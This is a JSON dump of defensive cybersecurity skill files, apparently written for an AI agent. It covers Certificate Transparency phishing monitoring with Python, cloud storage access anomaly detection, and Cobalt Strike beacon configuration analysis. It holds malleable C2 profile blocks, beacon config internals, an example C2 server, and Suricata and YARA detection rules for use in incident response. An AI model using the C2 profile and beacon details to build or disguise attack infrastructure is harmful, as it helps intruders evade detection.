\"crt_sh_id\": cert.get(\"id\", \"\"),\n                    \"crt_sh_url\": f\"https://crt.sh/?id={cert.get('id', '')}\",\n                })\n\n        print(f\"[+] Found {len(suspicious)} suspicious certificates\")\n        return suspicious\n\nmonitor = CTLogMonitor(\n    monitored_domains=[\"mycompany.com\", \"mycompany.org\"],\n    brand_keywords=[\"mycompany\", \"mybrand\", \"myproduct\"],\n)\nsuspicious = monitor.find_suspicious_certs(\"mycompany.com\")\nfor cert in suspicious[:5]:\n    print(f\"  [{cert['common_name']}] Flags: {cert['flags']}\")\n```\n\n### Step 2: Real-Time Monitoring with Certstream\n\n```python\nimport certstream\nimport Levenshtein\nimport re\nfrom datetime import datetime\n\nclass CertstreamMonitor:\n    def __init__(self, watched_domains, brand_keywords, similarity_threshold=0.8):\n        self.watched_domains = [d.lower() for d in watched_domains]\n        self.brand_keywords = [k.lower() for k in brand_keywords]\n        self.threshold = similarity_threshold\n        self.alerts = []\n\n    def start_monitoring(self, max_alerts=100):\n        \"\"\"Start real-time CT log monitoring.\"\"\"\n        print(\"[*] Starting Certstream monitoring...\")\n        print(f\"    Watching: {self.watched_domains}\")\n        print(f\"    Keywords: {self.brand_keywords}\")\n\n        def callback(message, context):\n            if message[\"message_type\"] == \"certificate_update\":\n                data = message[\"data\"]\n                leaf = data.get(\"leaf_cert\", {})\n                all_domains = leaf.get(\"all_domains\", [])\n\n                for domain in all_domains:\n                    domain_lower = domain.lower().strip(\"*.\")\n                    if self._is_suspicious(domain_lower):\n                        alert = {\n                            \"domain\": domain,\n                            \"all_domains\": all_domains,\n                            \"issuer\": leaf.get(\"issuer\", {}).get(\"O\", \"\"),\n                            \"fingerprint\": leaf.get(\"fingerprint\", \"\"),\n                            \"not_before\": leaf.get(\"not_before\", \"\"),\n                            \"detected_at\": datetime.now().isoformat(),\n                            \"reason\": self._get_reason(domain_lower),\n                        }\n                        self.alerts.append(alert)\n                        print(f\"  [ALERT] {domain} - {alert['reason']}\")\n\n                        if len(self.alerts) >= max_alerts:\n                            raise KeyboardInterrupt\n\n        try:\n            certstream.listen_for_events(callback, url=\"wss://certstream.calidog.io/\")\n        except KeyboardInterrupt:\n            print(f\"\\n[+] Monitoring stopped. {len(self.alerts)} alerts collected.\")\n        return self.alerts\n\n    def _is_suspicious(self, domain):\n        \"\"\"Check if domain is suspicious relative to watched domains.\"\"\"\n        for watched in self.watched_domains:\n            # Exact keyword match\n            watched_base = watched.split(\".\")[0]\n            if watched_base in domain and domain != watched:\n                return True\n\n            # Levenshtein distance (typosquatting detection)\n            domain_base = tldextract.extract(domain).domain\n            similarity = Levenshtein.ratio(watched_base, domain_base)\n            if similarity >= self.threshold and domain_base != watched_base:\n                return True\n\n        # Brand keyword match\n        for keyword in self.brand_keywords:\n            if keyword in domain:\n                return True\n\n        return False\n\n    def _get_reason(self, domain):\n        \"\"\"Determine why domain was flagged.\"\"\"\n        reasons = []\n        for watched in self.watched_domains:\n            watched_base = watched.split(\".\")[0]\n            if watched_base in domain:\n                reasons.append(f\"contains '{watched_base}'\")\n            domain_base = tldextract.extract(domain).domain\n            similarity = Levenshtein.ratio(watched_base, domain_base)\n            if similarity >= self.threshold and domain_base != watched_base:\n                reasons.append(f\"similar to '{watched}' ({similarity:.0%})\")\n        for kw in self.brand_keywords:\n            if kw in domain:\n                reasons.append(f\"brand keyword '{kw}'\")\n        return \"; \".join(reasons) if reasons else \"unknown\"\n\ncs_monitor = CertstreamMonitor(\n    watched_domains=[\"mycompany.com\"],\n    brand_keywords=[\"mycompany\", \"mybrand\"],\n    similarity_threshold=0.75,\n)\nalerts = cs_monitor.start_monitoring(max_alerts=50)\n```\n\n### Step 3: Enumerate Subdomains from CT Logs\n\n```python\ndef enumerate_subdomains_ct(domain):\n    \"\"\"Discover all subdomains from Certificate Transparency logs.\"\"\"\n    params = {\"q\": f\"%.{domain}\", \"output\": \"json\"}\n    resp = requests.get(\"https://crt.sh\", params=params, timeout=30)\n\n    if resp.status_code != 200:\n        return []\n\n    certs = resp.json()\n    subdomains = set()\n    for cert in certs:\n        name_value = cert.get(\"name_value\", \"\")\n        for name in name_value.split(\"\\n\"):\n            name = name.strip().lower()\n            if name.endswith(f\".{domain}\") or name == domain:\n                name = name.lstrip(\"*.\")\n                subdomains.add(name)\n\n    sorted_subs = sorted(subdomains)\n    print(f\"[+] CT subdomain enumeration for {domain}: {len(sorted_subs)} subdomains\")\n    return sorted_subs\n\nsubdomains = enumerate_subdomains_ct(\"example.com\")\nfor sub in subdomains[:20]:\n    print(f\"  {sub}\")\n```\n\n### Step 4: Generate CT Intelligence Report\n\n```python\ndef generate_ct_report(suspicious_certs, certstream_alerts, domain):\n    report = f\"\"\"# Certificate Transparency Intelligence Report\n## Target Domain: {domain}\n## Generated: {datetime.now().isoformat()}\n\n## Summary\n- Suspicious certificates found: {len(suspicious_certs)}\n- Real-time alerts triggered: {len(certstream_alerts)}\n\n## Suspicious Certificates (crt.sh)\n| Common Name | Issuer | Flags | crt.sh Link |\n|------------|--------|-------|-------------|\n\"\"\"\n    for cert in suspicious_certs[:20]:\n        flags = \"; \".join(cert.get(\"flags\", []))\n        report += (f\"| {cert['common_name']} | {cert['issuer'][:30]} \"\n                   f\"| {flags} | [View]({cert['crt_sh_url']}) |\\n\")\n\n    report += f\"\"\"\n## Real-Time Certstream Alerts\n| Domain | Issuer | Reason | Detected |\n|--------|--------|--------|----------|\n\"\"\"\n    for alert in certstream_alerts[:20]:\n        report += (f\"| {alert['domain']} | {alert['issuer']} \"\n                   f\"| {alert['reason']} | {alert['detected_at'][:19]} |\\n\")\n\n    report += \"\"\"\n## Recommendations\n1. Add flagged domains to DNS sinkhole / web proxy blocklist\n2. Submit takedown requests for confirmed phishing domains\n3. Monitor CT logs continuously for new certificate registrations\n4. Implement CAA DNS records to restrict certificate issuance for your domains\n5. Deploy DMARC to prevent email spoofing from lookalike domains\n\"\"\"\n    with open(f\"ct_report_{domain.replace('.','_')}.md\", \"w\") as f:\n        f.write(report)\n    print(f\"[+] CT report saved\")\n    return report\n\ngenerate_ct_report(suspicious, alerts if 'alerts' in dir() else [], \"mycompany.com\")\n```\n\n## Validation Criteria\n\n- crt.sh queries return certificate data for target domains\n- Suspicious certificates identified based on lookalike patterns\n- Certstream real-time monitoring detects new phishing certificates\n- Subdomain enumeration produces comprehensive list from CT logs\n- Alerts generated with reason classification\n- CT intelligence report created with actionable recommendations\n\n## References\n\n- [crt.sh Certificate Search](https://crt.sh/)\n- [Certstream Real-Time CT Monitor](https://certstream.calidog.io/)\n- [River Security: CT Logs for Attack Surface Discovery](https://riversecurity.eu/finding-attack-surface-and-fraudulent-domains-via-certificate-transparency-logs/)\n- [Let's Encrypt: Certificate Transparency Logs](https://letsencrypt.org/docs/ct-logs/)\n- [SSLMate Cert Spotter](https://sslmate.com/certspotter/)\n- [CyberSierra: CT Logs as Early Warning System](https://cybersierra.co/blog/ssl-certificate-transparency-logs/)\n","frontmatter":{"name":"analyzing-certificate-transparency-for-phishing","description":"Monitor Certificate Transparency logs using crt.sh and Certstream to detect phishing domains, lookalike certificates, and unauthorized certificate issuance targeting your organization.","domain":"cybersecurity","subdomain":"threat-intelligence","tags":["certificate-transparency","ct-logs","phishing","crt-sh","certstream","ssl","domain-monitoring","threat-intelligence"],"version":"1.0","author":"mahipal","license":"Apache-2.0","atlas_techniques":["AML.T0052"],"nist_csf":["ID.RA-01","ID.RA-05","DE.CM-01","DE.AE-02"],"mitre_attack":["T1583.001","T1583.004","T1566.002","T1608.005","T1596.003"],"mitre_f3":{"version":"1.1","tactics":["resource-development","reconnaissance","initial-access"],"techniques":[{"id":"T1583.001","name":"Acquire Infrastructure: Domains","tactic":"resource-development","source":"attack"},{"id":"F1020.002","name":"Create Fake Materials: Fake Website","tactic":"resource-development","source":"f3"},{"id":"T1593","name":"Search Open Websites/Domains","tactic":"reconnaissance","source":"attack"},{"id":"T1598","name":"Phishing for Information","tactic":"reconnaissance","source":"attack"},{"id":"T1660","name":"Phishing","tactic":"initial-access","source":"attack"}]}},"isInternal":false,"tokens":3072,"sizeBytes":14088},{"name":"api-reference.md","path":"skills/analyzing-cloud-storage-access-patterns/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-cloud-storage-access-patterns/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# API Reference: Cloud Storage Access Pattern Analysis\n\n## AWS CLI - CloudTrail Lookup\n```bash\naws cloudtrail lookup-events \\\n  --lookup-attributes AttributeKey=ResourceType,AttributeValue=AWS::S3::Object \\\n  --start-time 2024-01-15T00:00:00Z \\\n  --output json\n```\n\n## CloudTrail S3 Data Event Structure\n```json\n{\n  \"EventTime\": \"2024-01-15T10:30:00Z\",\n  \"EventName\": \"GetObject\",\n  \"Username\": \"analyst\",\n  \"CloudTrailEvent\": \"{\\\"sourceIPAddress\\\":\\\"10.0.0.1\\\",\\\"userAgent\\\":\\\"aws-cli\\\",\\\"requestParameters\\\":{\\\"bucketName\\\":\\\"data\\\",\\\"key\\\":\\\"file.csv\\\"},\\\"userIdentity\\\":{\\\"arn\\\":\\\"arn:aws:iam::123:user/analyst\\\"}}\"\n}\n```\n\n## Key S3 Event Names\n| Event | Meaning |\n|-------|---------|\n| GetObject | Object download |\n| PutObject | Object upload |\n| DeleteObject | Object deletion |\n| ListBucket / ListObjectsV2 | Bucket enumeration |\n| GetBucketPolicy | Policy read |\n| PutBucketPolicy | Policy modification |\n\n## Detection Thresholds\n| Anomaly | Threshold | Severity |\n|---------|-----------|----------|\n| Bulk download | >100 GetObject/hr per user | Critical |\n| After-hours | Access outside 08:00-18:00 UTC | Medium |\n| New source IP | IP not in 30-day baseline | High |\n| Enumeration | >20 ListBucket per user | High |\n\n## boto3 CloudTrail Client (alternative)\n```python\nimport boto3\nclient = boto3.client(\"cloudtrail\")\nresponse = client.lookup_events(\n    LookupAttributes=[{\"AttributeKey\":\"ResourceType\",\"AttributeValue\":\"AWS::S3::Object\"}],\n    StartTime=datetime(2024,1,15),\n    MaxResults=50\n)\nevents = response[\"Events\"]\n```\n","isInternal":false,"tokens":405,"sizeBytes":1539},{"name":"SKILL.md","path":"skills/analyzing-cloud-storage-access-patterns/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-cloud-storage-access-patterns/SKILL.md","title":"analyzing-cloud-storage-access-patterns","category":"anthropic-skill","format":"markdown","content":"---\nname: analyzing-cloud-storage-access-patterns\ndescription: Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.\ndomain: cybersecurity\nsubdomain: cloud-security\ntags:\n- cloud-security\n- aws-s3\n- gcs\n- azure-blob-storage\n- cloudtrail\n- data-access-anomaly\n- exfiltration-detection\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\natlas_techniques:\n- AML.T0024\n- AML.T0056\nnist_ai_rmf:\n- MEASURE-2.7\n- MAP-5.1\n- MANAGE-2.4\nnist_csf:\n- PR.IR-01\n- ID.AM-08\n- GV.SC-06\n- DE.CM-01\nmitre_attack:\n- T1530\n- T1567.002\n- T1619\n- T1078.004\n- T1048\n---\n\n\n# Analyzing Cloud Storage Access Patterns\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing cloud storage access patterns\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Familiarity with cloud security concepts and tools\n- Access to a test or lab environment for safe execution\n- Python 3.8+ with required dependencies installed\n- Appropriate authorization for any testing activities\n\n## Instructions\n\n1. Install dependencies: `pip install boto3 requests`\n2. Query CloudTrail for S3 Data Events using AWS CLI or boto3.\n3. Build access baselines: hourly request volume, per-user object counts, source IP history.\n4. Detect anomalies:\n   - After-hours access (outside 8am-6pm local time)\n   - Bulk downloads: >100 GetObject calls from single principal in 1 hour\n   - New source IPs not seen in the prior 30 days\n   - ListBucket enumeration spikes (reconnaissance indicator)\n5. Generate prioritized findings report.\n\n```bash\npython scripts/agent.py --bucket my-sensitive-data --hours-back 24 --output s3_access_report.json\n```\n\n## Examples\n\n### CloudTrail S3 Data Event\n```json\n{\"eventName\": \"GetObject\", \"requestParameters\": {\"bucketName\": \"sensitive-data\", \"key\": \"financials/q4.xlsx\"},\n \"sourceIPAddress\": \"203.0.113.50\", \"userIdentity\": {\"arn\": \"arn:aws:iam::123456789012:user/analyst\"}}\n```\n","frontmatter":{"name":"analyzing-cloud-storage-access-patterns","description":"Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.","domain":"cybersecurity","subdomain":"cloud-security","tags":["cloud-security","aws-s3","gcs","azure-blob-storage","cloudtrail","data-access-anomaly","exfiltration-detection"],"version":"1.0","author":"mahipal","license":"Apache-2.0","atlas_techniques":["AML.T0024","AML.T0056"],"nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"nist_csf":["PR.IR-01","ID.AM-08","GV.SC-06","DE.CM-01"],"mitre_attack":["T1530","T1567.002","T1619","T1078.004","T1048"]},"isInternal":false,"tokens":617,"sizeBytes":2395},{"name":"template.md","path":"skills/analyzing-cobalt-strike-beacon-configuration/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-cobalt-strike-beacon-configuration/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"# Cobalt Strike Beacon Analysis Report Template\n\n## Report Metadata\n| Field | Value |\n|-------|-------|\n| Report ID | CS-BEACON-YYYY-NNNN |\n| Date | YYYY-MM-DD |\n| Sample Hash (SHA-256) | |\n| Classification | TLP:AMBER |\n| Analyst | |\n\n## Beacon Configuration Summary\n\n| Setting | Value |\n|---------|-------|\n| Beacon Type | HTTP / HTTPS / SMB / DNS |\n| C2 Server(s) | |\n| Port | |\n| Sleep Time | ms |\n| Jitter | % |\n| User-Agent | |\n| Watermark | |\n| SpawnTo (x86) | |\n| SpawnTo (x64) | |\n| Named Pipe | |\n| Host Header | |\n| Crypto Scheme | |\n\n## C2 Infrastructure\n\n| Indicator | Type | Value | Context |\n|-----------|------|-------|---------|\n| C2 Domain | domain | | Primary callback |\n| C2 IP | ip | | Resolved address |\n| URI Path (GET) | uri | | Beacon check-in |\n| URI Path (POST) | uri | | Data exfiltration |\n\n## Malleable C2 Profile\n\n### HTTP GET Configuration\n| Parameter | Value |\n|-----------|-------|\n| URI | |\n| Verb | |\n| Headers | |\n| Metadata Encoding | |\n\n### HTTP POST Configuration\n| Parameter | Value |\n|-----------|-------|\n| URI | |\n| Verb | |\n| ID Encoding | |\n| Output Encoding | |\n\n## Watermark Attribution\n\n| Watermark | Known Association | Confidence |\n|-----------|------------------|------------|\n| | Cracked / Licensed / Threat Actor | High/Med/Low |\n\n## Network Detection Signatures\n\n```\n# Suricata signature for beacon C2 traffic\nalert http $HOME_NET any -> $EXTERNAL_NET any (\n    msg:\"Cobalt Strike Beacon C2 Communication\";\n    content:\"[USER_AGENT]\"; http_user_agent;\n    content:\"[URI_PATH]\"; http_uri;\n    sid:1000001; rev:1;\n)\n```\n\n## YARA Detection Rule\n\n```yara\nrule CobaltStrike_Beacon_[CAMPAIGN] {\n    meta:\n        description = \"Detects Cobalt Strike beacon from [CAMPAIGN]\"\n        hash = \"[SHA256]\"\n    strings:\n        $c2 = \"[C2_DOMAIN]\" ascii\n        $pipe = \"[NAMED_PIPE]\" ascii\n        $ua = \"[USER_AGENT]\" ascii\n    condition:\n        2 of them\n}\n```\n\n## Recommendations\n\n1. **Block**: Add C2 domains/IPs to firewall deny lists\n2. **Hunt**: Search for named pipe and spawn-to process in endpoint logs\n3. **Detect**: Deploy YARA and network signatures to detection stack\n4. **Correlate**: Check watermark against threat intelligence databases\n","isInternal":false,"tokens":591,"sizeBytes":2198},{"name":"api-reference.md","path":"skills/analyzing-cobalt-strike-beacon-configuration/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-cobalt-strike-beacon-configuration/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# API Reference: Cobalt Strike Beacon Configuration Analysis\n\n## Beacon Config TLV Format\n\n### Structure\n```\n[Field ID: 2 bytes][Type: 2 bytes][Value: variable]\nType 1 = short (2 bytes), Type 2 = int (4 bytes), Type 3 = string/blob (2-byte length + data)\n```\n\n### XOR Encoding\n| Version | XOR Key |\n|---------|---------|\n| CS 3.x | `0x69` |\n| CS 4.x | `0x2E` |\n\n### Key Configuration Fields\n| ID | Name | Description |\n|----|------|-------------|\n| 1 | BeaconType | 0=HTTP, 1=Hybrid, 2=SMB, 8=HTTPS |\n| 2 | Port | C2 communication port |\n| 3 | SleepTime | Beacon interval (ms) |\n| 5 | Jitter | Random sleep variation (%) |\n| 7 | PublicKey | RSA public key for encryption |\n| 8 | C2Server | Command and control server(s) |\n| 9 | UserAgent | HTTP User-Agent string |\n| 10 | PostURI | POST callback URI |\n| 37 | Watermark | License watermark (operator ID) |\n| 54 | PipeName | Named pipe for SMB beacons |\n\n## 1768.py (Didier Stevens) - Config Extractor\n\n### Syntax\n```bash\npython 1768.py <beacon_file>           # Extract config\npython 1768.py -j <beacon_file>        # JSON output\npython 1768.py -r <beacon_file>        # Raw config dump\n```\n\n## CobaltStrikeParser (SentinelOne)\n\n### Syntax\n```bash\npython parse_beacon_config.py <file>\npython parse_beacon_config.py --json <file>\n```\n\n### Output Fields\n```\nBeaconType:        HTTPS\nPort:              443\nSleepTime:         60000\nJitter:            37\nC2Server:          update.microsoft-cdn.com,/api/v2\nUserAgent:         Mozilla/5.0 (Windows NT 10.0; Win64; x64)\nWatermark:         305419896\nSpawnToX86:        %windir%\\syswow64\\dllhost.exe\nSpawnToX64:        %windir%\\sysnative\\dllhost.exe\n```\n\n## JARM Fingerprinting\n\n### Cobalt Strike Default JARM\n```bash\n# Default CS JARM hash (pre-4.7)\n07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1\n\n# Scan with JARM\npython jarm.py <target_ip> -p 443\n```\n\n## Known Watermark Values\n| Watermark | Attribution |\n|-----------|------------|\n| 0 | Trial/cracked version |\n| 305419896 | Common cracked version |\n| 1359593325 | Known threat actor toolkit |\n| 1580103824 | Known APT usage |\n\n## Detection Signatures\n\n### Suricata\n```\nalert http $HOME_NET any -> $EXTERNAL_NET any (\n    msg:\"ET MALWARE Cobalt Strike Beacon\";\n    content:\"/submit.php\"; http_uri;\n    content:\"Cookie:\"; http_header;\n    pcre:\"/Cookie:\\s[A-Za-z0-9+/=]{60,}/H\";\n    sid:2028591; rev:1;)\n```\n\n### YARA\n```yara\nrule CobaltStrike_Beacon {\n    strings:\n        $config_v3 = { 00 01 00 01 00 02 ?? ?? 00 01 00 02 }\n        $magic = \"MSSE-%d-server\"\n        $pipe = \"\\\\\\\\.\\\\pipe\\\\msagent_\"\n    condition:\n        uint16(0) == 0x5A4D and any of them\n}\n```\n\n## Malleable C2 Profile Elements\n| Element | Description |\n|---------|-------------|\n| `http-get` | GET request profile (URI, headers, metadata transform) |\n| `http-post` | POST request profile (URI, body transform) |\n| `set sleeptime` | Default beacon interval |\n| `set jitter` | Randomization percentage |\n| `set useragent` | HTTP User-Agent |\n| `set pipename` | SMB named pipe name |\n","isInternal":false,"tokens":945,"sizeBytes":3015},{"name":"standards.md","path":"skills/analyzing-cobalt-strike-beacon-configuration/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-cobalt-strike-beacon-configuration/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# Standards and Frameworks Reference\n\n## Cobalt Strike Beacon Configuration Fields\n\n### Configuration TLV Types\n| Type ID | Field Name | Data Type | Description |\n|---------|-----------|-----------|-------------|\n| 0x0001 | BeaconType | Short | 0=HTTP, 1=Hybrid HTTP/DNS, 8=HTTPS, 10=TCP Bind |\n| 0x0002 | Port | Short | C2 communication port |\n| 0x0003 | SleepTime | Int | Beacon callback interval in milliseconds |\n| 0x0005 | Jitter | Short | Percentage of sleep time randomization (0-99) |\n| 0x0008 | C2Server | String | Comma-separated C2 domains/IPs |\n| 0x0009 | UserAgent | String | HTTP User-Agent header value |\n| 0x000a | PostURI | String | URI for HTTP POST requests |\n| 0x000d | SpawnTo_x86 | String | 32-bit process to spawn for post-ex |\n| 0x000e | SpawnTo_x64 | String | 64-bit process to spawn for post-ex |\n| 0x001a | Watermark | Int | License watermark identifier |\n| 0x0024 | PipeName | String | Named pipe for SMB beacon |\n| 0x001d | HostHeader | String | HTTP Host header value |\n| 0x0032 | ProxyHostname | String | Proxy server address |\n\n### XOR Encoding Scheme\n- **Cobalt Strike 3.x**: XOR key = 0x69\n- **Cobalt Strike 4.x**: XOR key = 0x2e\n- Configuration blob size: 4096 bytes (typical)\n- Encoding: Single-byte XOR across entire config blob\n\n### Stageless Beacon Structure\n- PE with beacon code in .data section\n- 4-byte XOR key applied to .data section content\n- Configuration embedded after beacon code\n- Reflective DLL loader prepended to beacon\n\n## MITRE ATT&CK Mappings\n\n### Cobalt Strike Techniques (S0154)\n| Technique | ID | Description |\n|-----------|-----|------------|\n| Application Layer Protocol | T1071.001 | HTTP/HTTPS C2 communication |\n| Encrypted Channel | T1573.002 | AES-256 encrypted C2 |\n| Ingress Tool Transfer | T1105 | Download additional payloads |\n| Process Injection | T1055 | Inject into spawned processes |\n| Named Pipes | T1570 | SMB beacon lateral movement |\n| Service Execution | T1569.002 | PSExec-style lateral movement |\n| Reflective Code Loading | T1620 | In-memory beacon loading |\n\n## Malleable C2 Profile Structure\n\n### HTTP GET Block\n```\nhttp-get {\n    set uri \"/path\";\n    client {\n        header \"Accept\" \"text/html\";\n        metadata {\n            base64url;\n            prepend \"session=\";\n            header \"Cookie\";\n        }\n    }\n    server {\n        header \"Content-Type\" \"text/html\";\n        output {\n            print;\n        }\n    }\n}\n```\n\n### HTTP POST Block\n```\nhttp-post {\n    set uri \"/submit\";\n    client {\n        id {\n            uri-append;\n        }\n        output {\n            base64;\n            print;\n        }\n    }\n    server {\n        output {\n            print;\n        }\n    }\n}\n```\n\n## References\n- [Cobalt Strike Documentation](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/)\n- [Malleable C2 Profile Reference](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_main.htm)\n- [MITRE ATT&CK Cobalt Strike](https://attack.mitre.org/software/S0154/)\n","isInternal":false,"tokens":792,"sizeBytes":3006},{"name":"workflows.md","path":"skills/analyzing-cobalt-strike-beacon-configuration/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-cobalt-strike-beacon-configuration/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"# Cobalt Strike Beacon Analysis Workflows\n\n## Workflow 1: PE File Configuration Extraction\n\n```\n[Suspicious PE] --> [Unpack if packed] --> [Locate .data section] --> [XOR Decrypt]\n                                                                          |\n                                                                          v\n                                                                  [Parse TLV Config]\n                                                                          |\n                                                                          v\n                                                              [Extract C2 Indicators]\n```\n\n### Steps:\n1. **Triage**: Identify file as potential Cobalt Strike beacon via YARA or AV detection\n2. **Unpacking**: If packed, unpack using appropriate tool (UPX, custom unpacker)\n3. **Section Analysis**: Locate .data section containing XOR'd beacon code\n4. **XOR Key Discovery**: Try known keys (0x2e, 0x69) or brute-force 4-byte key\n5. **Config Parsing**: Parse decrypted TLV entries for C2 and operational settings\n6. **IOC Extraction**: Extract domains, IPs, URIs, user agents, watermarks\n\n## Workflow 2: Memory Dump Beacon Extraction\n\n```\n[Memory Dump] --> [Volatility3 malfind] --> [Dump Injected Regions] --> [Parse Config]\n                                                                            |\n                                                                            v\n                                                                   [C2 Infrastructure Map]\n```\n\n### Steps:\n1. **Acquisition**: Capture memory dump from compromised system\n2. **Process Scan**: Use Volatility3 to identify suspicious processes\n3. **Injection Detection**: Use malfind to find RWX memory regions\n4. **Region Extraction**: Dump injected memory regions to files\n5. **Config Search**: Scan dumps for beacon configuration signatures\n6. **Infrastructure Mapping**: Correlate extracted C2 with network logs\n\n## Workflow 3: Watermark Attribution\n\n```\n[Multiple Beacons] --> [Extract Watermarks] --> [Cluster by Watermark] --> [Attribution]\n                                                                               |\n                                                                               v\n                                                                     [Campaign Correlation]\n```\n\n### Steps:\n1. **Collection**: Gather beacon samples from incident or threat intel feeds\n2. **Watermark Extraction**: Extract watermark value from each sample\n3. **Database Lookup**: Check watermark against known databases\n4. **Clustering**: Group beacons sharing the same watermark\n5. **Infrastructure Overlap**: Correlate C2 infrastructure across cluster\n6. **Attribution Assessment**: Link to known threat actor or cracked license\n\n## Workflow 4: C2 Traffic Detection\n\n```\n[Beacon Config] --> [Extract C2 Profile] --> [Generate Signatures] --> [Deploy to NIDS]\n                                                                            |\n                                                                            v\n                                                                   [Monitor Network Traffic]\n```\n\n### Steps:\n1. **Profile Extraction**: Parse malleable C2 profile from beacon config\n2. **Pattern Identification**: Identify unique HTTP headers, URIs, and encoding\n3. **Signature Creation**: Write Suricata/Snort rules matching C2 patterns\n4. **Deployment**: Deploy signatures to network detection infrastructure\n5. **Validation**: Test signatures against captured beacon traffic\n6. **Monitoring**: Alert on matching network flows for active beacons\n","isInternal":false,"tokens":626,"sizeBytes":3618},{"name":"SKILL.md","path":"skills/analyzing-cobalt-strike-beacon-configuration/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/analyzing-cobalt-strike-beacon-configuration/SKILL.md","title":"analyzing-cobalt-strike-beacon-configuration","category":"anthropic-skill","format":"markdown","content":"---\nname: analyzing-cobalt-strike-beacon-configuration\ndescription: Extract and analyze Cobalt Strike beacon configuration from PE files\n  and memory dumps to identify C2 infrastructure, malleable profiles, and operator\n  tradecraft.\ndomain: cybersecurity\nsubdomain: malware-analysis\ntags:\n- cobalt-strike\n- beacon\n- c2\n- malware-analysis\n- config-extraction\n- threat-hunting\n- red-team-tools\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- DE.AE-02\n- RS.AN-03\n- ID.RA-01\n- DE.CM-01\nmitre_attack:\n- T1071.001\n- T1573.001\n- T1090.004\n- T1105\n- T1027\n---\n# Analyzing Cobalt Strike Beacon Configuration\n\n## Overview\n\nCobalt Strike is a commercial adversary simulation tool widely abused by threat actors for post-exploitation operations. Beacon payloads contain embedded configuration data that reveals C2 server addresses, communication protocols, sleep intervals, jitter values, malleable C2 profile settings, watermark identifiers, and encryption keys. Extracting this configuration from PE files, shellcode, or memory dumps is critical for incident responders to map attacker infrastructure and attribute campaigns. The beacon configuration is XOR-encoded using a single byte (0x69 for version 3, 0x2e for version 4) and stored in a Type-Length-Value (TLV) format within the .data section.\n\n\n## When to Use\n\n- When investigating security incidents that require analyzing cobalt strike beacon configuration\n- When building detection rules or threat hunting queries for this domain\n- When SOC analysts need structured procedures for this analysis type\n- When validating security monitoring coverage for related attack techniques\n\n## Prerequisites\n\n- Python 3.9+ with `dissect.cobaltstrike`, `pefile`, `yara-python`\n- SentinelOne CobaltStrikeParser (`parse_beacon_config.py`)\n- Hex editor (010 Editor, HxD) for manual inspection\n- Understanding of PE file format and XOR encoding\n- Memory dump acquisition tools (Volatility3, WinDbg)\n- Network analysis tools (Wireshark) for C2 traffic correlation\n\n## Key Concepts\n\n### Beacon Configuration Structure\n\nCobalt Strike beacons store their configuration as a blob of TLV (Type-Length-Value) entries within the .data section of the PE. Stageless beacons XOR the entire beacon code with a 4-byte key. The configuration blob itself uses a single-byte XOR key. Each TLV entry contains a 2-byte type identifier (e.g., 0x0001 for BeaconType, 0x0008 for C2Server), a 2-byte length, and variable-length data.\n\n### Malleable C2 Profiles\n\nThe beacon configuration encodes the malleable C2 profile that dictates HTTP request/response transformations, including URI paths, headers, metadata encoding (Base64, NetBIOS), and data transforms. Analyzing these settings reveals how the beacon disguises its traffic to blend with legitimate web traffic.\n\n### Watermark and License Identification\n\nEach Cobalt Strike license embeds a unique watermark (4-byte integer) into generated beacons. Extracting the watermark can link multiple beacons to the same operator or cracked license. Known watermark databases maintained by threat intelligence providers map watermarks to specific threat actors or leaked license keys.\n\n## Workflow\n\n### Step 1: Extract Configuration with CobaltStrikeParser\n\n```python\n#!/usr/bin/env python3\n\"\"\"Extract Cobalt Strike beacon config from PE or memory dump.\"\"\"\nimport sys\nimport json\n\n# Using SentinelOne's CobaltStrikeParser\n# pip install dissect.cobaltstrike\nfrom dissect.cobaltstrike.beacon import BeaconConfig\n\ndef extract_beacon_config(filepath):\n    \"\"\"Parse beacon configuration from file.\"\"\"\n    configs = list(BeaconConfig.from_path(filepath))\n\n    if not configs:\n        print(f\"[-] No beacon configuration found in {filepath}\")\n        return None\n\n    for i, config in enumerate(configs):\n        print(f\"\\n[+] Beacon Configuration #{i+1}\")\n        print(f\"{'='*60}\")\n\n        settings = config.as_dict()\n\n        # Critical fields for incident response\n        critical_fields = [\n            \"SETTING_C2_REQUEST\",\n            \"SETTING_C2_RECOVER\",\n  